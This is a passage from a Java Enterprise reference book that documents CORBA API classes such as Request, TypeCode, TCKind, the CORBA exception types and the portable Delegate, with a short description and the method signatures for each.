 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public org.omg.CORBA.Principal value ;
}

Hierarchy: Object-->PrincipalHolder(org.omg.CORBA.portable.Streamable)

Request Java 1.2
org.omg.CORBA

A Request represents a remote method request under the Dynamic Invocation Interface. Request objects are created by calling the create_request() method on the org.omg.CORBA.Object reference for the remote object that will service the method request. The Request contains the name of the method to be invoked, an NVList containing NamedValue objects that represent the method arguments, and the return value for the method, if appropriate. It can also contain a description of the exceptions the method can throw and the client context values that the method accepts.

You add method arguments to a Request by calling one of its add_XXX() methods, which all return an Any object that you can initialize with the value of the argument. Once the Request has been initialized with its arguments and any other information, the method can be invoked synchronously using the invoke() method, asynchronously using send_deferred(), or in one-way mode using send_oneway(). Immediately after the invoke() method returns, any return values or thrown exceptions are available for you to query. After calling the send_deferred() method, you can poll and retrieve the method response by calling the poll_response() and get_response() methods. If the response is ready, get_response() initializes the internal return value or exception in the Request object, and it can be retrieved using the return_value() method. After calling send_oneway(), no return value or exception is returned. You can use send_oneway() on methods even if they weren't declared as oneway in the corresponding IDL for the interface.

public abstract class Request {
// | Public Constructors
 | public Request ();
// | Public Instance Methods
 | public abstract Any add_in_arg ();
 | public abstract Any add_inout_arg ();
 | public abstract Any add_named_in_arg (String name);
 | public abstract Any add_named_inout_arg (String name);
 | public abstract Any add_named_out_arg (String name);
 | public abstract Any add_out_arg ();
 | public abstract NVList arguments ();
 | public abstract ContextList contexts ();
 | public abstract org.omg.CORBA.Context ctx ();
 | public abstract void ctx (org.omg.CORBA.Context c);
 | public abstract Environment env ();
 | public abstract ExceptionList exceptions ();
 | public abstract void get_response () throws WrongTransaction;
 | public abstract void invoke ();
 | public abstract String operation ();
 | public abstract boolean poll_response ();
 | public abstract NamedValue result ();
 | public abstract Any return_value ();
 | public abstract void send_deferred ();
 | public abstract void send_oneway ();
 | public abstract void set_return_type (TypeCode tc);
 | public abstract org.omg.CORBA.Object target ();
}

Passed To: ORB.{send_multiple_requests_deferred(), send_multiple_requests_oneway()}

Returned By: org.omg.CORBA.Object.{_create_request(), _request()}, ORB.get_next_response(), org.omg.CORBA.portable.Delegate.{create_request(), request()}, org.omg.CORBA.portable.ObjectImpl.{_create_request(), _request()}

ServerRequest Java 1.2
org.omg.CORBA

The server-side equivalent of the client-side Request object. A ServerRequest is used in the Dynamic Skeleton Interface to invoke a method on a server object through its DynamicImplementation.

public abstract class ServerRequest {
// | Public Constructors
 | public ServerRequest ();
// | Public Instance Methods
 | public void arguments (NVList args);
 | public abstract org.omg.CORBA.Context ctx ();
 | public String operation ();
 | public void set_exception (Any any);
 | public void set_result (Any any);
// | Deprecated Public Methods
# | public void except (Any any);
# | public String op_name ();
# | public void params (NVList params);
# | public void result (Any any);
}

Passed To: DynamicImplementation.invoke(), org.omg.CosNaming._BindingIteratorImplBase.invoke(), org.omg.CosNaming._NamingContextImplBase.invoke()

ServiceDetail | Java 1.2
org.omg.CORBA | serializable

A component of a ServiceInformation object that describes a service available through an ORB. Each ServiceDetail stores an integer type code and an array of bytes that contains information about the service. The semantics of the type code and the format of the byte data are implementation-specific.

public final class ServiceDetail implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public ServiceDetail ();
 | public ServiceDetail (int service_detail_type, byte[ ] service_detail);
// | Public Instance Fields
 | public byte[ ] service_detail ;
 | public int service_detail_type ;
}

Hierarchy: Object-->ServiceDetail(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: ServiceDetailHelper.{insert(), write()}, ServiceInformation.ServiceInformation()

Returned By: ServiceDetailHelper.{extract(), read()}

Type Of: ServiceInformation.service_details

ServiceDetailHelper Java 1.2
org.omg.CORBA

The helper class for the ServiceDetail class, used internally to read and write ServiceDetail objects when they are used as remote method arguments or return values.

public class ServiceDetailHelper {
// | No Constructor
// | Public Class Methods
 | public static ServiceDetail extract (Any a); |
 | public static String id (); |
 | public static void insert (Any a, ServiceDetail that); |
 | public static ServiceDetail read (org.omg.CORBA.portable.InputStream in); |
 | public static TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, ServiceDetail that); |
}
ServiceInformation | Java 1.2
org.omg.CORBA | serializable

This class represents information about a service available through an ORB. You query for information about a service using the ORB.get_service_information() method, which returns a ServiceInformation object. The ServiceInformation object consists of a set of ServiceDetail objects, each representing a particular piece of information about the service.

public final class ServiceInformation implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public ServiceInformation ();
 | public ServiceInformation (int[ ] __service_options, ServiceDetail[ ] __service_details);
// | Public Instance Fields
 | public ServiceDetail[ ] service_details ;
 | public int[ ] service_options ;
}

Hierarchy: Object-->ServiceInformation(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: ServiceInformationHelper.{insert(), write()}, ServiceInformationHolder.ServiceInformationHolder()

Returned By: ServiceInformationHelper.{extract(), read()}

Type Of: ServiceInformationHolder.value

ServiceInformationHelper Java 1.2
org.omg.CORBA

The helper class for ServiceInformation objects, used internally to read and write ServiceInformation objects when they are used as remote method arguments or return values.

public class ServiceInformationHelper {
// | No Constructor
// | Public Class Methods
 | public static ServiceInformation extract (Any a); |
 | public static String id (); |
 | public static void insert (Any a, ServiceInformation that); |
 | public static ServiceInformation read (org.omg.CORBA.portable.InputStream in); |
 | public static TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, ServiceInformation that); |
}
ServiceInformationHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java ServiceInformation objects.

public final class ServiceInformationHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public ServiceInformationHolder ();
 | public ServiceInformationHolder (ServiceInformation arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public ServiceInformation value ;
}

Hierarchy: Object-->ServiceInformationHolder(org.omg.CORBA.portable.Streamable)

Passed To: ORB.get_service_information()

SetOverrideType | Java 1.2
org.omg.CORBA | serializable

The static instances on the SetOverrideType class are used in calls to the set_policy_overrides() method on org.omg.CORBA.Object. This method allows you to override security-related policies that are imposed on an object by a CORBA Security Service by passing in an array of Policy objects and a SetOverrideType object. There are two static SetOverrideType instances that can be passed in as the second argument to this method. SetOverrideType.ADD_OVERRIDE indicates that the policies being passed in should be added to any existing policies that apply to the object, while SetOverrideType.SET_OVERRIDE indicates that the policies being provided should replace any existing policies on the object.

public class SetOverrideType implements org.omg.CORBA.portable.IDLEntity {
// | Protected Constructors
 | protected SetOverrideType (int _value); |
// | Public Constants
 | public static final int _ADD_OVERRIDE ; | =1
 | public static final int _SET_OVERRIDE ; | =0
 | public static final SetOverrideType ADD_OVERRIDE ; |
 | public static final SetOverrideType SET_OVERRIDE ; |
// | Public Class Methods
 | public static SetOverrideType from_int (int i) throws BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Hierarchy: Object-->SetOverrideType(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: org.omg.CORBA.Object._set_policy_override(), org.omg.CORBA.portable.Delegate.set_policy_override(), org.omg.CORBA.portable.ObjectImpl._set_policy_override()

Returned By: SetOverrideType.from_int()

Type Of: SetOverrideType.{ADD_OVERRIDE, SET_OVERRIDE}

ShortHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java short values.

public final class ShortHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public ShortHolder ();
 | public ShortHolder (short initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public short value ;
}

Hierarchy: Object-->ShortHolder(org.omg.CORBA.portable.Streamable)

StringHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are mapped to Java String values.

public final class StringHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public StringHolder ();
 | public StringHolder (String initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public String value ;
}

Hierarchy: Object-->StringHolder(org.omg.CORBA.portable.Streamable)

StructMember | Java 1.2
org.omg.CORBA | serializable

A class that represents a member of an IDL struct type. StructMember objects can create TypeCode objects for IDL struct and exception values with the ORB.create_struct_tc() and ORB.create_exception_tc() methods.

public final class StructMember implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public StructMember ();
 | public StructMember (String __name, TypeCode __type, IDLType __type_def);
// | Public Instance Fields
 | public String name ;
 | public TypeCode type ;
 | public IDLType type_def ;
}

Hierarchy: Object-->StructMember(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: ORB.{create_exception_tc(), create_struct_tc()}

SystemException | Java 1.2
org.omg.CORBA | serializable unchecked

This is the base class for all standard CORBA exceptions. A SystemException can be thrown by any CORBA remote method call. Many CORBA API methods throw SystemException objects as well. The SystemException class provides an integer minor code that can be optionally used by a subclass to indicate a more precise reason for an exception. The class also provides a CompletionStatus object that can indicate to the caller whether the method invocation was completed or not when the exception was encountered.

Subclasses of SystemException represent the many errors that can occur while a remote method request is being processed by the client's ORB, transferred to the server ORB, executed on the server object, and having its response transferred back to the client. A SystemException can originate on the client or on the server, before, during, or after the actual execution of the method on the remote object.

Since SystemException extends java.lang.RuntimeException, these exceptions don't need to be declared in method signatures. But remember that any remote method declared in an IDL interface can throw any of the subclasses of SystemException, just as any local Java method can throw any subclass of RuntimeException during execution.

public abstract class SystemException extends RuntimeException {
// | Protected Constructors
 | protected SystemException (String reason, int minor, CompletionStatus completed);
// | Public methods overriding Throwable
 | public String toString ();
// | Public Instance Fields
 | public CompletionStatus completed ;
 | public int minor ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException

Subclasses: Too many classes to list.

Thrown By: org.omg.CORBA.portable.InvokeHandler._invoke()

TCKind Java 1.2
org.omg.CORBA

A class that represents the type of a TypeCode object. The TCKind class contains a set of static int values that correspond to the built-in IDL data types. It also contains a set of static TCKind instances that correspond to each of these IDL types. The TCKind of a TypeCode can be obtained using its kind() method, and its value can be compared to these static data members to determine the type of the TypeCode.

public class TCKind {
// | Protected Constructors
 | protected TCKind (int _value); |
// | Public Constants
 | public static final int _tk_abstract_interface ; | =32
 | public static final int _tk_alias ; | =21
 | public static final int _tk_any ; | =11
 | public static final int _tk_array ; | =20
 | public static final int _tk_boolean ; | =8
 | public static final int _tk_char ; | =9
 | public static final int _tk_double ; | =7
 | public static final int _tk_enum ; | =17
 | public static final int _tk_except ; | =22
 | public static final int _tk_fixed ; | =28
 | public static final int _tk_float ; | =6
 | public static final int _tk_long ; | =3
 | public static final int _tk_longdouble ; | =25
 | public static final int _tk_longlong ; | =23
 | public static final int _tk_native ; | =31
 | public static final int _tk_null ; | =0
 | public static final int _tk_objref ; | =14
 | public static final int _tk_octet ; | =10
 | public static final int _tk_Principal ; | =13
 | public static final int _tk_sequence ; | =19
 | public static final int _tk_short ; | =2
 | public static final int _tk_string ; | =18
 | public static final int _tk_struct ; | =15
 | public static final int _tk_TypeCode ; | =12
 | public static final int _tk_ulong ; | =5
 | public static final int _tk_ulonglong ; | =24
 | public static final int _tk_union ; | =16
 | public static final int _tk_ushort ; | =4
 | public static final int _tk_value ; | =29
 | public static final int _tk_value_box ; | =30
 | public static final int _tk_void ; | =1
 | public static final int _tk_wchar ; | =26
 | public static final int _tk_wstring ; | =27
 | public static final TCKind tk_abstract_interface ; |
 | public static final TCKind tk_alias ; |
 | public static final TCKind tk_any ; |
 | public static final TCKind tk_array ; |
 | public static final TCKind tk_boolean ; |
 | public static final TCKind tk_char ; |
 | public static final TCKind tk_double ; |
 | public static final TCKind tk_enum ; |
 | public static final TCKind tk_except ; |
 | public static final TCKind tk_fixed ; |
 | public static final TCKind tk_float ; |
 | public static final TCKind tk_long ; |
 | public static final TCKind tk_longdouble ; |
 | public static final TCKind tk_longlong ; |
 | public static final TCKind tk_native ; |
 | public static final TCKind tk_null ; |
 | public static final TCKind tk_objref ; |
 | public static final TCKind tk_octet ; |
 | public static final TCKind tk_Principal ; |
 | public static final TCKind tk_sequence ; |
 | public static final TCKind tk_short ; |
 | public static final TCKind tk_string ; |
 | public static final TCKind tk_struct ; |
 | public static final TCKind tk_TypeCode ; |
 | public static final TCKind tk_ulong ; |
 | public static final TCKind tk_ulonglong ; |
 | public static final TCKind tk_union ; |
 | public static final TCKind tk_ushort ; |
 | public static final TCKind tk_value ; |
 | public static final TCKind tk_value_box ; |
 | public static final TCKind tk_void ; |
 | public static final TCKind tk_wchar ; |
 | public static final TCKind tk_wstring ; |
// | Public Class Methods
 | public static TCKind from_int (int i) throws BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Passed To: ORB.get_primitive_tc()

Returned By: DynStruct.current_member_kind(), DynUnion.{discriminator_kind(), member_kind()}, DynValue.current_member_kind(), TCKind.from_int(), TypeCode.kind()

Type Of: Too many fields to list.

TRANSACTION_REQUIRED | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a remote method that must be run within a transaction is invoked outside of any transaction.

public final class TRANSACTION_REQUIRED extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public TRANSACTION_REQUIRED ();
 | public TRANSACTION_REQUIRED (String s);
 | public TRANSACTION_REQUIRED (int minor, CompletionStatus completed);
 | public TRANSACTION_REQUIRED (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->TRANSACTION_REQUIRED

TRANSACTION_ROLLEDBACK | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a remote method that was invoked within a transaction could not be completed because the enclosing transaction was rolled back.

public final class TRANSACTION_ROLLEDBACK extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public TRANSACTION_ROLLEDBACK ();
 | public TRANSACTION_ROLLEDBACK (String s);
 | public TRANSACTION_ROLLEDBACK (int minor, CompletionStatus completed);
 | public TRANSACTION_ROLLEDBACK (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->TRANSACTION_ROLLEDBACK

TRANSIENT | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when a transient (i.e., not necessarily repeatable) error occurs during a remote method call. Since the error might not occur again, it is possible to try making the same request again.

public final class TRANSIENT extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public TRANSIENT ();
 | public TRANSIENT (String s);
 | public TRANSIENT (int minor, CompletionStatus completed);
 | public TRANSIENT (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->TRANSIENT

TypeCode | Java 1.2
org.omg.CORBA | serializable

A TypeCode object describes the IDL type of a CORBA object, analogously to how the Java Class for an object (obtained using the getClass() method on java.lang.Object) describes its Java type. At a minimum, a TypeCode object contains a TCKind element that specifies the IDL data type it represents. For structured IDL types, like struct and union, it also contains additional information about the data type. The member_XXX() methods can obtain information about the members of struct, union, enum, and exception types, while the length() method gives the length of string, sequence and array types.

public abstract class TypeCode implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public TypeCode ();
// | Public Instance Methods
 | public TypeCode concrete_base_type () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract TypeCode content_type () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract int default_index () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract TypeCode discriminator_type () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract boolean equal (TypeCode tc);
 | public boolean equivalent (TypeCode tc);
 | public short fixed_digits () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public short fixed_scale () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public TypeCode get_compact_typecode ();
 | public abstract String id () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract TCKind kind ();
 | public abstract int length () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract int member_count () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public abstract Any member_label (int index) throws org.omg.CORBA.TypeCodePackage.BadKind, org.omg.CORBA.TypeCodePackage.Bounds;
 | public abstract String member_name (int index) throws org.omg.CORBA.TypeCodePackage.BadKind, org.omg.CORBA.TypeCodePackage.Bounds;
 | public abstract TypeCode member_type (int index) throws org.omg.CORBA.TypeCodePackage.BadKind, org.omg.CORBA.TypeCodePackage.Bounds;
 | public short member_visibility (int index) throws org.omg.CORBA.TypeCodePackage.BadKind, org.omg.CORBA.Bounds;
 | public abstract String name () throws org.omg.CORBA.TypeCodePackage.BadKind;
 | public short type_modifier () throws org.omg.CORBA.TypeCodePackage.BadKind;
}

Hierarchy: Object-->TypeCode(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: StructMember.type, TypeCodeHolder.value, UnionMember.type, ValueMember.type

TypeCodeHolder Java 1.2
org.omg.CORBA

The holder class for out and inout remote method arguments that are TypeCode objects.

public final class TypeCodeHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public TypeCodeHolder ();
 | public TypeCodeHolder (TypeCode initial);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream input);
 | public TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream output);
// | Public Instance Fields
 | public TypeCode value ;
}

Hierarchy: Object-->TypeCodeHolder(org.omg.CORBA.portable.Streamable)

UnionMember | Java 1.2
org.omg.CORBA | serializable

A class that represents a member of an IDL union type. UnionMember objects can create TypeCode objects for IDL union types with the ORB.create_union_tc() method.

public final class UnionMember implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public UnionMember ();
 | public UnionMember (String __name, Any __label, TypeCode __type, IDLType __type_def);
// | Public Instance Fields
 | public Any label ;
 | public String name ;
 | public TypeCode type ;
 | public IDLType type_def ;
}

Hierarchy: Object-->UnionMember(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: ORB.create_union_tc()

UNKNOWN | Java 1.2
org.omg.CORBA | serializable unchecked

A standard CORBA exception thrown when the ORB encounters an error it can't interpret. Sun's Java IDL defines the following minor error code values for this exception, stored in the minor data member inherited from SystemException:

Minor Code | Meaning
1 | During unmarshalling of the response to a method request, a user exception was returned by the server implementation that is not in the set of exceptions expected by the client.
3 | The server implementation threw an unknown runtime exception.
public final class UNKNOWN extends org.omg.CORBA.SystemException {
// | Public Constructors
 | public UNKNOWN ();
 | public UNKNOWN (String s);
 | public UNKNOWN (int minor, CompletionStatus completed);
 | public UNKNOWN (String s, int minor, CompletionStatus completed);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->org.omg.CORBA.SystemException-->UNKNOWN

UnknownUserException | Java 1.2
org.omg.CORBA | serializable checked

This exception class can wrap any user exceptions that are thrown during Dynamic Invocation Interface remote method calls. If an exception is thrown by the server object during such a call, the client can call the env() method on its Request object to get the request's Environment. The exception contained within the Environment is an UnknownUserException. The actual user exception the server threw is contained in the except data member of the UnknownUserException, which is an Any object.

public final class UnknownUserException extends UserException {
// | Public Constructors
 | public UnknownUserException ();
 | public UnknownUserException (Any a);
// | Public Instance Fields
 | public Any except ;
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->UnknownUserException

UserException | Java 1.2
org.omg.CORBA | serializable checked

This is the base class for all user exceptions that are defined in IDL and mapped to Java. It extends java.lang.Exception directly, so it represents a Java exception that must be declared in method signatures and caught in application code that calls these methods. Unlike the SystemException, the UserException class doesn't declare any data members for describing the exception to the caller. A subclass must do this to suit the type of exception it represents. It does, however, inherit the message property from Throwable, which can store a descriptive message on the exception to describe the reason.

public abstract class UserException extends Exceptionimplements org.omg.CORBA.portable.IDLEntity {
// | Protected Constructors
 | protected UserException ();
 | protected UserException (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))

Subclasses: org.omg.CORBA.Bounds, PolicyError, UnknownUserException, WrongTransaction, org.omg.CORBA.DynAnyPackage.Invalid, org.omg.CORBA.DynAnyPackage.InvalidSeq, org.omg.CORBA.DynAnyPackage.InvalidValue, org.omg.CORBA.DynAnyPackage.TypeMismatch, org.omg.CORBA.ORBPackage.InconsistentTypeCode, org.omg.CORBA.ORBPackage.InvalidName, org.omg.CORBA.TypeCodePackage.BadKind, org.omg.CORBA.TypeCodePackage.Bounds, AlreadyBound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, NotEmpty, NotFound

ValueMember | Java 1.2
org.omg.CORBA | serializable

A class that represents a member of an object passed by value using the proposed Objects-by-Value extension to CORBA. ValueMember objects can create TypeCode objects for values with the ORB.create_value_tc() method.

public final class ValueMember implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public ValueMember ();
 | public ValueMember (String __name, String __id, String __defined_in, String __version, TypeCode __type, IDLType __type_def, short __access);
// | Public Instance Fields
 | public short access ;
 | public String defined_in ;
 | public String id ;
 | public String name ;
 | public TypeCode type ;
 | public IDLType type_def ;
 | public String version ;
}

Hierarchy: Object-->ValueMember(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: ORB.create_value_tc()

WrongTransaction | Java 1.2
org.omg.CORBA | serializable checked

A user exception thrown when an attempt is made to get the response to a deferred method request from a different transaction than the original request. If a client makes an asynchronous Dynamic Invocation Interface method request using the Request.send_deferred() method within a given transaction and then later makes a call to the Request object's get_response() method from within a different transaction, a WrongTransaction exception is thrown. This exception can also be thrown if the ORB.get_next_response() method is called from a different transaction than the original method request.

public class WrongTransaction extends UserException {
// | Public Constructors
 | public WrongTransaction ();
 | public WrongTransaction (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->WrongTransaction

Thrown By: ORB.get_next_response(), Request.get_response()

Previous | Home | Next
29.1. The javax.transaction.xa Package | Book Index | 31. The org.omg.CORBA.DynAnyPackage Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CORBA.DynAnyPackage Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 31. The org.omg.CORBA.DynAnyPackage Package

The org.omg.CORBA.DynAnyPackage package defines the exceptions used by the org.omg.CORBA.DynAny interface and its subinterfaces. Figure 31-1 shows the class hierarchy of this package.

Figure 31-1. The org.omg.CORBA.DynAnyPackage package

Invalid | Java 1.2
org.omg.CORBA.DynAnyPackage | serializable checked

An exception thrown whenever a bad DynAny or Any object is encountered in a dynamic introspection operation.

public final class Invalid extends UserException {
// | Public Constructors
 | public Invalid ();
 | public Invalid (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->Invalid

Thrown By: DynAny.{assign(), from_any(), to_any()}

InvalidSeq | Java 1.2
org.omg.CORBA.DynAnyPackage | serializable checked

An exception thrown whenever an invalid Java array is encountered in a dynamic introspection operation.

public final class InvalidSeq extends UserException {
// | Public Constructors
 | public InvalidSeq ();
 | public InvalidSeq (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->InvalidSeq

Thrown By: DynArray.set_elements(), DynSequence.set_elements(), DynStruct.set_members(), DynValue.set_members()

InvalidValue | Java 1.2
org.omg.CORBA.DynAnyPackage | serializable checked

An exception thrown when a bad value is inserted into a DynAny object.

public final class InvalidValue extends UserException {
// | Public Constructors
 | public InvalidValue ();
 | public InvalidValue (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->InvalidValue

Thrown By: DynAny.{insert_any(), insert_boolean(), insert_char(), insert_double(), insert_float(), insert_long(), insert_longlong(), insert_octet(), insert_reference(), insert_short(), insert_string(), insert_typecode(), insert_ulong(), insert_ulonglong(), insert_ushort(), insert_val(), insert_wchar(), insert_wstring()}, DynFixed.set_value()

TypeMismatch | Java 1.2
org.omg.CORBA.DynAnyPackage | serializable checked

An exception thrown when you ask for a value from a DynAny object that doesn't match the type that it contains.

public final class TypeMismatch extends UserException {
// | Public Constructors
 | public TypeMismatch ();
 | public TypeMismatch (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->TypeMismatch

Thrown By: DynAny.{get_any(), get_boolean(), get_char(), get_double(), get_float(), get_long(), get_longlong(), get_octet(), get_reference(), get_short(), get_string(), get_typecode(), get_ulong(), get_ulonglong(), get_ushort(), get_val(), get_wchar(), get_wstring()}

Previous | Home | Next
30.1. The org.omg.CORBA Package | Book Index | 32. The org.omg.CORBA.ORBPackage Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CORBA.ORBPackage Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 32. The org.omg.CORBA.ORBPackage Package

The org.omg.CORBA.ORBPackage package defines the exceptions thrown by the org.omg.CORBA.ORB interface. Figure 32-1 shows the class hierarchy of this package.

Figure 32-1. The org.omg.CORBA.ORBPackage package

InconsistentTypeCode | Java 1.2
org.omg.CORBA.ORBPackage | serializable checked

An exception thrown by the ORB.create_dyn_XXX() methods when the TypeCode argument does not match the type of the DynAny subclass requested.

public final class InconsistentTypeCode extends UserException {
// | Public Constructors
 | public InconsistentTypeCode ();
 | public InconsistentTypeCode (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->InconsistentTypeCode

Thrown By: ORB.{create_basic_dyn_any(), create_dyn_array(), create_dyn_enum(), create_dyn_sequence(), create_dyn_struct(), create_dyn_union()}

InvalidName | Java 1.2
org.omg.CORBA.ORBPackage | serializable checked

An exception thrown by the ORB.resolve_initial_references() method when the name passed in does not have a corresponding object in the ORB's initial reference list.

public class InvalidName extends UserException {
// | Public Constructors
 | public InvalidName ();
 | public InvalidName (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->org.omg.CORBA.ORBPackage.InvalidName

Thrown By: ORB.resolve_initial_references()

Previous | Home | Next
31.1. The org.omg.CORBA.DynAnyPackage Package | Book Index | 33. The org.omg.CORBA.portable Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CORBA.portable Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 33. The org.omg.CORBA.portable Package

The org.omg.CORBA.portable package contains interfaces, classes, and exceptions used by the portability layer of the CORBA API. The portability layer provides facilities that allow code to be shared between different ORB providers. Figure 33-1 shows the class hierarchy of this package.

Figure 33-1. The org.omg.CORBA.portable package

ApplicationException | Java 1.2
org.omg.CORBA.portable | serializable checked

An exception is used by the Delegate and ObjectImpl layer of a stub to indicate that an exception was thrown during a remote method invocation. The ApplicationException provides an org.omg.CORBA.portable.InputStream that reads the marshalled exception object.

public class ApplicationException extends Exception {
// | Public Constructors
 | public ApplicationException (String id, org.omg.CORBA.portable.InputStream ins);
// | Public Instance Methods
 | public String getId ();
 | public org.omg.CORBA.portable.InputStream getInputStream ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->ApplicationException

Thrown By: Delegate.invoke(), ObjectImpl._invoke()

Delegate Java 1.2
org.omg.CORBA.portable

A Delegate is responsible for implementing all methods on org.omg.CORBA.Object. An Object contains a Delegate and forwards its methods to it. This allows for portability between ORB implementations, since an Object obtained from one ORB can contain a Delegate specific to that ORB, but the Object can still be used within another ORB.

public abstract class Delegate {
// | Public Constructors
 | public Delegate (); |
// | Public Instance Methods
 | public abstract Request create_request (org.omg.CORBA.Object obj, org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result); |
 | public abstract Request create_request (org.omg.CORBA.Object obj, org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result, ExceptionList exclist, ContextList ctxlist); |
 | public abstract org.omg.CORBA.Object duplicate (org.omg.CORBA.Object obj); |
 | public boolean equals (org.omg.CORBA.Object self, Object obj); |
 | public DomainManager[ ] get_domain_managers (org.omg.CORBA.Object self); |
 | public org.omg.CORBA.Object get_interface_def (org.omg.CORBA.Object self); |
 | public org.omg.CORBA.Policy get_policy (org.omg.CORBA.Object self, int policy_type); |
 | public abstract int hash (org.omg.CORBA.Object obj, int max); |
 | public int hashCode (org.omg.CORBA.Object self); |
 | public org.omg.CORBA.portable.InputStream invoke (org.omg.CORBA.Object self, org.omg.CORBA.portable.OutputStream output) throws ApplicationException, RemarshalException; |
 | public abstract boolean is_a (org.omg.CORBA.Object obj, String repository_id); |
 | public abstract boolean is_equivalent (org.omg.CORBA.Object obj, org.omg.CORBA.Object other); |
 | public boolean is_local (org.omg.CORBA.Object self); | constant
 | public abstract boolean non_existent (org.omg.CORBA.Object obj); |
 | public ORB orb (org.omg.CORBA.Object obj); |
 | public abstract void release (org.omg.CORBA.Object obj); |
 | public void releaseReply (org.omg.CORBA.Object self, org.omg.CORBA.portable.InputStream input); |
 | public abstract Request request (org.omg.CORBA.Object obj, String operation); |
 | public org.omg.CORBA.portable.OutputStream request (org.omg.CORBA.Object self, String operation, boolean responseExpected); |
